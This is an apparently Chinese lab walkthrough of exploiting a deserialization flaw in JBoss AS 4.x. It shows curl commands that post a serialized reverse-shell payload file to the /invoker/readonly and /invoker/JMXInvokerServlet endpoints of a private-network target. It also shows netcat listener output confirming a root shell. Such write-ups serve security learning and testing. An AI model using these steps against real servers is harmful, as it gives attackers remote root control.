Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
root@kali:~/桌面/JavaDeserH2HC# curl http://192.168.220.151:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser <html><head><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: java.util.HashSet cannot be cast to org.jboss.invocation.MarshalledInvocation org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106) </pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade"><h3>JBoss Web/3.0.0-CR2</h3></body></html>root@kali:~/桌面/JavaDeserH2HC#
反弹shell成功!!!
1 2 3 4 5 6 7 8
root@kali:~# nc -lvvp 8888 listening on [any] 8888 ... 192.168.220.151: inverse host lookup failed: Unknown host connect to [192.168.220.133] from (UNKNOWN) [192.168.220.151] 53530 whoami root id uid=0(root) gid=0(root) groups=0(root)
root@kali:~/桌面/JavaDeserH2HC# curl http://192.168.220.151:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: <FILE>" to save to a file.
有几个警告,不影响操作。
反弹shell成功。
1 2 3 4 5 6
root@kali:~# nc -lvvp 8888 listening on [any] 8888 ... 192.168.220.151: inverse host lookup failed: Unknown host connect to [192.168.220.133] from (UNKNOWN) [192.168.220.151] 41174 whoami root